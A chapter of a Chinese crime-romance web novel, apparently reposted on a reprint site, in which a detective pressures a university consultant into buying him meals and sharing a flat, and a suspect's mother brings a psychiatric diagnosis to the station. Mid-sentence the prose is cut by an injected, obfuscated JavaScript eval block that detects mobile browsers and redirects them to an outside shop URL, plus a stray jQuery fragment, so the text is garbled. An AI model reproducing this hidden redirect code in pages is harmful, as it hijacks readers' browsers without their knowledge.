文趣网 > 其他小说 > 合租嫌疑人是隐藏大佬[刑侦] > 23. 变相索贿
    翌日清晨,猝然响起的手机铃声将顾乔从迷梦中拽回了现实。

    现在是早晨七点半,如果是平常,顾乔应该早就起了。

    可是昨天晚上,靳行深直到凌晨1点多才离开,还丢下了一个堪比攻坚双博士学位毕业论文……不对,应该是堪比参透佛陀语偈的骨灰级难题。

    以至于顾乔躺在床上一直冥思苦想到天亮,五点多的时候才堪堪合眼。

    “喂?”她迷迷糊糊地摸过手机,声音里还带着点被强行唤醒的怔松。

    对面劈头盖脸砸来了一句:“顾老师考虑好了吗?”

    是靳行深!

    顾乔的最后一丝困意也被彻底驱散了。

    “那个……”她手忙脚乱地从床上爬起来,神思还有点不清,“靳队,我昨晚想了一夜,还是觉得——”

    “我明白顾老师的顾虑。”靳行深不由分说地打断她,好脾气道,“你可以再好好想想,不用着急回答我。”

    “……”顾乔满脸黑线。

    不是他刚才问她的吗?怎么变成她着急了?

    只听电话那头又说:“我在你家楼下,顾老师请我吃早饭呗。”

    顾乔刚灌了一口水,紧接着就听她:“咳咳咳……”

    “怎么了?”

    “咳咳咳……”顾乔眼泪汪汪,“没事,喝水呛着了,咳咳……”

    十五分钟后,一脸倦容的顾乔坐进了靳行深的车里。

    虽然有点莫名其妙,可她昨晚才吃了靳行深送来的夜宵,回请一顿早饭倒也不是不行。

    顾乔边系安全带边问,声音还带着点没睡饱的喑哑:“靳队想去哪吃?”

    靳行深发动车子驶出小区,随意道:“就乾记吧。”

    顾乔像是只受了惊的兔子,立马转过头,两只大眼睛惊恐地盯着靳行深,一时竟不知道该说什么。

    年前的时候,她有幸在乾记吃过一次早茶,人均消费一千三,当然是别人请的客。

    靳行深竟然想去那里吃,当她的钱是大风刮来的吗!

    似是察觉到旁边投射过来的灼灼目光,靳行深修长的手指在方向盘上敲了两下,唇角勾笑:

    “虽然一万块对顾老师来说也不过只是两顿饭的小钱,但我总觉得一顿早餐而已,还是不要太奢侈,乾记就挺好的,顾老师也不会太破费。”

    “……???”顾乔懵了两秒。

    一万块只是两顿饭的小钱!她什么时候那么有钱了!但随即她就想起来了,这话是昨晚她亲口跟靳行深说过的。

    她赶紧解释:“靳队怕是误会了。我之所以对赵保明说那样的话,是不想加重他的心理负担。而事实上,我已经穷的快要揭不开锅了。”

    靳行深转头瞧了她一眼,显然不相信。

    顾乔立刻睁大了眼睛,神情无比真诚:“真的。”

    靳行深不痛不痒地“哦”了声,不为所动地继续开车。

    “我上个月的工资快花完了,这个月的还没发下来。”

    顾乔怕他不信,恨不能把自己的账户余额怼到他脸上,“前面有家包子铺挺不错的,旁边那家馄饨面馆也很好,要不我们去那吃?”

    靳行深玩味一笑:“顾老师既然想让我帮你保守秘密,那就需要取得我的信任。而信任是有代价的,在我这里,代价之一就是要让我吃好。”

    他顿了顿,“这个要求很过分吗?”

    饮食审美堪比最贫瘠的黄土高原的顾乔,表示完全不能理解。

    填饱肚子而已,吃什么不是吃,为什么非要吃那么贵的?

    顾乔心里哇的一声就哭了出来,但她面上小心翼翼:“冒昧问一下,这真的不是变相索贿?”

    “行。不吃了。”靳行深突然打灯换道,靠边停车,“我这就告诉孔局,他费尽心思请来的精英专家竟然是本案最大的犯罪嫌疑人。”

    说着,他摸出了手机。

    顾乔“啪”的一巴掌重重按在靳行深的手上:“一顿早餐而已,我就是砸锅卖铁也务必要让靳队吃到心满意足。”

    靳行深看了眼被顾乔“打”得发红的手背,漫不经心地笑了:“顾老师不觉得我是变相索贿了?”

    “我刚才有这么说吗?”顾乔装傻充愣,“靳队一定是听错了。”

    “噢。”靳行深煞有介事地点点头。

    随即,他语带蛊惑地好心建议:“其实顾老师也不必这么为难。只要你愿意跟我合租,自然也就取得了我的信任,非但不用再破费请我吃饭,相反,我还会负责你的一日三餐。”

    顾乔眨了眨眼:“可我不能吃辣,怕是适应不了靳队的厨房艺术。”

    “顾老师,你到底是在质疑我的智商,还是在质疑我的人品?”

    靳行深瞧着对面一副水泼不进的谨慎,眸光幽深玩味,“你不会以为我会逼着你和我一起吃辣椒吧。我为你准备的饭,一定是最适配你的口味。”

    顾乔勉强保持着僵硬的笑容:“靳队,恕我直言,你这样会让我觉得你居心不良。”

    靳行深微微眯起眼睛:“那是因为顾老师对我的认知还不够多。你可以试着多给我一点信任,时间会让你惊喜地发现,我浑身上下都是良心。”

    顾乔眼带打量:“不好意思,我只见过浑身上下都是眼的,还真没见过浑身上下都是心的。”

    “……”靳行深以一副不可思议的表情看着她,突然被自己想象中浑身挂着心脏的样子恶心到了。

    “行吧。来日方长,总不能一顿早饭就让顾老师砸锅卖铁。”靳行深被她又怂又横的样子逗笑了,心满意足地收回了玩笑,“今天的早饭就吃……包子了。”

    他眼睁睁看着顾乔的脸色一秒由阴转晴,又慢悠悠补上一句,“不过,从今天开始,我的一日三餐全由顾老师负责。”

    “!!!”一口大锅从天而降,顾乔张着嘴巴却发不出半点声音。

    被砸蒙了。

    -

    邺城市治安局。

    陶恒站在走廊上,刚要打电话给靳行深,就看见他老大和顾老师一起从电梯里走了出来。

    他连忙收起手机,屁颠屁颠地迎了上去:“顾老师!你今天没课吗?”

    顾乔笑道:“我不仅今天没课,后面一段时间应该都会很清闲。”

    多亏了孔局的多方活动,她现在的工作重心就是协助市局尽快侦破百眼怪案。至于学校那边,短期内都不会再安排课程和研究任务。

    陶恒的眼睛忽地更亮了。他的眼睛本来就是那种很好看的葡萄眼,此时简直就像两颗blingbling的星星。

    他跃跃欲试又不乏害羞地说:“那我今晚可以请顾老师吃饭吗?”

    有人请吃饭,顾乔当然不会拒绝,说不定还能借机溜掉某人的晚饭。她刚要开口,就听见一直被当成背景墙的某人突然咳了声。

    紧接着靳行深极具辨识度的声音响了起来:“陶恒。”

    陶恒还沉浸在小处男情窦初开的忸怩中,冷不防听见他老大的声音,条件反射一个激灵:“在!”

    “由我们支队负责对接送温暖的那个牛大爷家的下水道,前两天不是堵塞了,你们去帮忙疏通了吗?”

    “啊?”陶恒丈二的和尚摸不着头脑,“这点小事不是向来由办公室负责的吗?”

    什么时候需要他老大亲自过问了?

    “你去办公室那边问一下。”靳行深不容置疑,“如果下水道还没疏通,你就带个实习警去帮忙疏通一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594119|204721||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    下,顺便把牛大爷家的里里外外都打扫一遍。”

    陶恒两眼一凸:“啊!?”

    靳行深微眯起眼睛:“有问题?”

    陶恒虽然平时喜欢跟靳行深玩闹,但骨子里还是很怕他老大的。

    尤其是当靳行深严肃起来的时候,周身迫人的气场那可不是说着玩的。连孔局都要让他三分。

    对此,顾乔可是深有体会。所以此时,她只管站在旁边看热闹。

    陶恒连忙摆手:“没问题,没问题。我这就去看看。保证把牛大爷家的古董地板擦得锃亮!”说完,一溜烟地跑了。

    结果半分钟不到,就见他咚咚咚又跑了回来。

    “老大,忘了跟您说了。”陶恒气喘吁吁,“古一鸣的母亲,天还没亮就跑过来了。执勤的人把她带到了接待室,人现在还在那坐着呢。您要不要过去看看。”

    靳行深点点头,示意自己知道了。

    于是陶恒又麻溜地遁了。

    顾乔啧啧称叹:“真是官大一级压死人。”

    靳行深不赞同道:“我这是在锻炼他的服务群众意识和吃苦耐劳精神。”

    好让这小子早点认清现实,免得他饱暖思淫欲,整天幻象些不切实际的东西。

    “而且,”他看着顾乔,半挑眉梢,“我的官阶比他大了三级。”

    顾乔:“……”

    服了。

    还隔着一段距离,两人就听见了从接待室里传出来的呜咽声。

    靳行深脚步一顿,示意顾乔走在前面。

    他最怕的就是看见女人哭。如果不是顾乔跟在身边,他一定会把秦月或陶恒他们拉过来做先头军。

    顾乔表示无所谓,于是先他一步,轻轻推开了接待室虚掩的门。

    坐在椅子上的女人闻声从纸巾里抬起头,露出一双哭得红肿的眼。

    正是古一鸣的母亲庄晓荷。

    “你是?”庄晓荷没见过顾乔,自然不知道面前的女人是谁。

    顾乔上前,礼貌颔首:“您好,我是古一鸣同学的老师,顾乔。”

    “原来您就是顾老师。”

    庄晓荷连忙站起来,满脸歉意地握住了顾乔的手,“真是太对不起了顾老师,鸣鸣这孩子其实一直都很乖的,要不是因为他最近生病了,肯定不会做出这样糊涂的事。”

    “顾老师,您大人有大量,千万别跟一个孩子计较,我……”

    紧跟而来的靳行深突然打断她:“生病了?”

    庄晓荷还握着顾乔的手没放开,闻言看过去。

    顾乔介绍道:“这位是市局的刑侦支队长,靳队。”

    庄晓荷连忙:“原来是领导,真不好意思,我家孩子给你们添麻烦了。鸣鸣他真的是病了才会这样……”

    她抹了把眼泪,从包里拿出一份病历,“我家鸣鸣患有很严重的妄想症,实在不是故意偷跑去顾老师家的。您看看,这可是三甲医院开具的诊断说明,绝对做不了假的。”

    顾乔接过病历翻了两页,里面还附有邺城第一人民医院开具的诊断书,确诊时间则是在一个月前,病症为【感知觉障碍型妄想症】。

    妄想症?

    靳行深和顾乔对视一眼,不约而同地从彼此眼中看到了疑惑。

    他们之前猜测的是有人对古一鸣进行了心理催眠。

    靳行深给庄晓荷续满了茶,隔着茶几坐在她对面:“你是什么时候发现古一鸣在精神上出现问题的?”

    “他平时都在学校,只有周末的时候才会回家,但一直以来都是很正常的。”庄晓荷声音还有些哽咽,“直到一个多月前,一次吃晚饭的时候……”

    庄晓荷永远都不会忘记那个夜晚,因为那也是她噩梦的开始。